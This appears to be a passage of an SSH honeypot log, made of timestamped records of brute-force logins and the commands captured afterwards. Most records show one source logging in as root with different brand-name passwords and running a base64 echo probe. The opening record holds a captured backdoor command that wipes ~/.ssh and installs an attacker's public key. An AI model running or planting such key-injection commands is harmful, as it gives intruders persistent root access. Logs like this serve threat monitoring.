    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:24:02.693789 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / linkedin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 57fc15b4011c

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "57fc15b4011c",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:24:02.693789Z",
  "end_time": "2026-07-21T05:24:04.516007Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "linkedin"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:23:40.352350 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / snapchat

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: be9ab983b7af

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "be9ab983b7af",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:23:40.352350Z",
  "end_time": "2026-07-21T05:23:41.657030Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "snapchat"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:23:19.290769 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / tiktok

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: ba36383758a5

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ba36383758a5",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:23:19.290769Z",
  "end_time": "2026-07-21T05:23:20.602006Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "tiktok"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:22:58.381806 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / twitter

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 1526d748fe84

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "1526d748fe84",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:22:58.381806Z",
  "end_time": "2026-07-21T05:22:59.727545Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "twitter"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:22:38.003234 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / slack

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: cceeeae12b2e

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "cceeeae12b2e",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:22:38.003234Z",
  "end_time": "2026-07-21T05:22:39.355045Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "slack"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:22:16.274252 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / discord

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 52ab17543102

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "52ab17543102",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:22:16.274252Z",
  "end_time": "2026-07-21T05:22:18.459439Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "discord"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:21:56.243576 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / teams

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 2cde825a28c0

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2cde825a28c0",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:21:56.243576Z",
  "end_time": "2026-07-21T05:21:57.984280Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "teams"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:21:35.382726 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / zoom

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: f24d6c5194ac

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "f24d6c5194ac",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:21:35.382726Z",
  "end_time": "2026-07-21T05:21:36.992118Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "zoom"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.82.21.8

2026-07-21 05:21:30.411846 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test2

Record ID: 347a86a30ebf

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "347a86a30ebf",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:21:30.411846Z",
  "end_time": "2026-07-21T05:21:32.564802Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "test2",
      "pass": "test2pass"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 05:21:14.635480 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / skype

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 405de475fda8

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "405de475fda8",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:21:14.635480Z",
  "end_time": "2026-07-21T05:21:16.379511Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "skype"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:20:54.687627 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / viber

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 5b0b411c4f06

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "5b0b411c4f06",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:20:54.687627Z",
  "end_time": "2026-07-21T05:20:56.482977Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "viber"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:20:32.480275 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / signal

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 86336f15ee55

Client Version: SSH-2.0-Go

Engagement Duration: 3.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "86336f15ee55",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:20:32.480275Z",
  "end_time": "2026-07-21T05:20:35.484057Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "signal"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:20:11.567811 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / telegram

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 4cc309f39865

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4cc309f39865",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:20:11.567811Z",
  "end_time": "2026-07-21T05:20:12.913439Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "telegram"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:19:51.005798 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / whatsapp

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 02f8634fb489

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "02f8634fb489",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:19:51.005798Z",
  "end_time": "2026-07-21T05:19:52.845639Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "whatsapp"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:19:31.554975 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / instagram

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 801325317550

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "801325317550",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:19:31.554975Z",
  "end_time": "2026-07-21T05:19:33.243897Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "instagram"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:19:09.766668 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / facebook

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: d9608fbf6f32

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "d9608fbf6f32",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:19:09.766668Z",
  "end_time": "2026-07-21T05:19:11.144044Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "facebook"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.82.21.8

2026-07-21 05:18:50.274712 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alex

Record ID: c547ec2d4333

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c547ec2d4333",
  "src_ip": "103.82.21.8",
  "start_time": "2026-07-21T05:18:50.274712Z",
  "end_time": "2026-07-21T05:18:52.486820Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "alex",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 05:18:49.051969 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / youtube

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 16ae02cb01cd

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "16ae02cb01cd",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:18:49.051969Z",
  "end_time": "2026-07-21T05:18:50.919165Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "youtube"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:18:28.699012 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / disney

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: ae5014e9e150

Client Version: SSH-2.0-Go

Engagement Duration: 2.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ae5014e9e150",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:18:28.699012Z",
  "end_time": "2026-07-21T05:18:31.556181Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "disney"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:18:07.778059 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / amazon

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 36d84e537450

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "36d84e537450",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:18:07.778059Z",
  "end_time": "2026-07-21T05:18:10.032266Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "amazon"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:17:47.429355 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / netflix

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 2fb2033e68e6

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2fb2033e68e6",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:17:47.429355Z",
  "end_time": "2026-07-21T05:17:48.688151Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "netflix"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:17:28.998980 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / hbo

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: d3bd7080c78c

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "d3bd7080c78c",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:17:28.998980Z",
  "end_time": "2026-07-21T05:17:31.015226Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hbo"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

116.181.10.235

2026-07-21 05:17:21.013417 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ffb0bdc46bb7

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ffb0bdc46bb7",
  "src_ip": "116.181.10.235",
  "start_time": "2026-07-21T05:17:21.013417Z",
  "end_time": "2026-07-21T05:19:21.026210Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 05:17:06.589962 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / hbo

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 2f5999da7827

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2f5999da7827",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:17:06.589962Z",
  "end_time": "2026-07-21T05:17:07.863221Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hbo"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 05:16:45.635423 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / history

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: b0cfb06e7403

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "b0cfb06e7403",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T05:16:45.635423Z",
  "end_time": "2026-07-21T05:16:46.943413Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "history"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
